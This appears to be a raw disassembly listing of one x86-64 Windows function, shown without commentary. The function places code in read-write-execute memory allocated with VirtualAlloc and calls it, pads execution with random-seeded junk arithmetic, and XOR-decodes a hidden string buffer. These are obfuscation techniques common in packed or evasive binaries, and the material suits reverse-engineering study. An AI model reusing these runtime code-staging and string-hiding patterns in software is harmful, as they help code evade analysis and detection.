lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140043840]
test rax, rax
je 0x14001a29a
mov rdx, r12
cmp rax, rbx
je 0x14001a289
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x43840]
test rax, rax
jne 0x14001a271
jmp 0x14001a29a
mov r8, qword [rdi + rdx*8 + 0x42220]
test r8, r8
jne 0x14001a37f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a2c3
mov r8, r12
jmp 0x14001a35e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a2d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040270]
mov qword [rdi + rax*8 + 0x43840], rbx
mov qword [rdi + rax*8 + 0x42220], r8
inc rax
mov qword [0x140040270], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x140013670]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
lea rcx, [rbp + 0xb0]
call fcn.140026440
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x130]
call fcn.1400254c0
mov dword [rbp + 0x60], 0xffffff9c
mov dword [rbp + 0x64], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rbp + 0xa0], xmm0
mov dword [rsp + 0x20], r12d
movsd qword [rsp + 0x28], xmm8
lea rcx, [rsp + 0x40]
call fcn.140001670
mov qword [rsp + 0x30], 0x64
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rbp + 0x80]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r12
lea rcx, [rsp + 0x30]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
jns 0x14001a8c1
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov rbx, qword [rbp + 0x88]
sub rbx, qword [rbp + 0x80]
sar rbx, 3
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x80]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, [0x14003597c]
lea rcx, [rbp + 0xb0]
call fcn.1400264a0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xb0]
call fcn.140002300
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rcx, [rbp + 0x68]
call fcn.140025590
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.140027490
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x68]
call fcn.140002410
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.1400274f0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
test al, 1
jne 0x14001a7bb
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001a7ca
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
test bl, 1
jne 0x14001a83f
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001a85f
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0xa0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x14001a7e0
sub rdi, 1
jne 0x14001a7d0
lea rcx, [rbp + 0x68]
call fcn.140025530
nop
lea rcx, [rbp + 0xb0]
call fcn.140026440
sub rsi, 1
jne 0x14001a5d0
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x14001a5c0
lea rdi, [0x140000000]
lea rsi, [0x140027760]
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400253f0
movups xmm0, xmmword [0x140037110]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140037120]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140037130]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140037140]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x140037148]
mov dword [rbp + 0xe8], eax
movzx eax, word [0x14003714c]
mov word [rbp + 0xec], ax
movzx eax, byte [0x14003714e]
mov byte [rbp + 0xee], al
mov r9d, r12d
cmp r15d, 2
jl 0x14001aada
movdqa xmmword [rsp + 0x30], xmm12
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x30]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14001a951
cmp r9d, 0x3f
jge 0x14001ab3f
movsxd rax, r9d
lea r10, [rbp + 0xb0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14001aaf0
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140041580]
test rax, rax
je 0x14001aba0
mov rdx, r12
cmp rax, rsi
je 0x14001ab8f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41580]
test rax, rax
jne 0x14001ab77
jmp 0x14001aba0
mov r10, qword [rdi + rdx*8 + 0x40f40]
test r10, r10
jne 0x14001ac7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14001abc9
mov r10, r12
jmp 0x14001ac5e
mov rax, rsi
mov rcx, r10
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x14001abd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400408d0]
mov qword [rdi + rax*8 + 0x41580], rsi
mov qword [rdi + rax*8 + 0x40f40], r10
inc rax
mov qword [0x1400408d0], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x140013670]
call r10
nop
mov rcx, qword [rbp + 0x70]
xor rcx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
lea rcx, [rbp + 0x108]
call fcn.140026440
nop
mov rax, qword [rbp + 0xf0]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1598]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x14c0]
xor rcx, rsp
call fcn.140031740
lea r11, [rsp + 0x1670]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret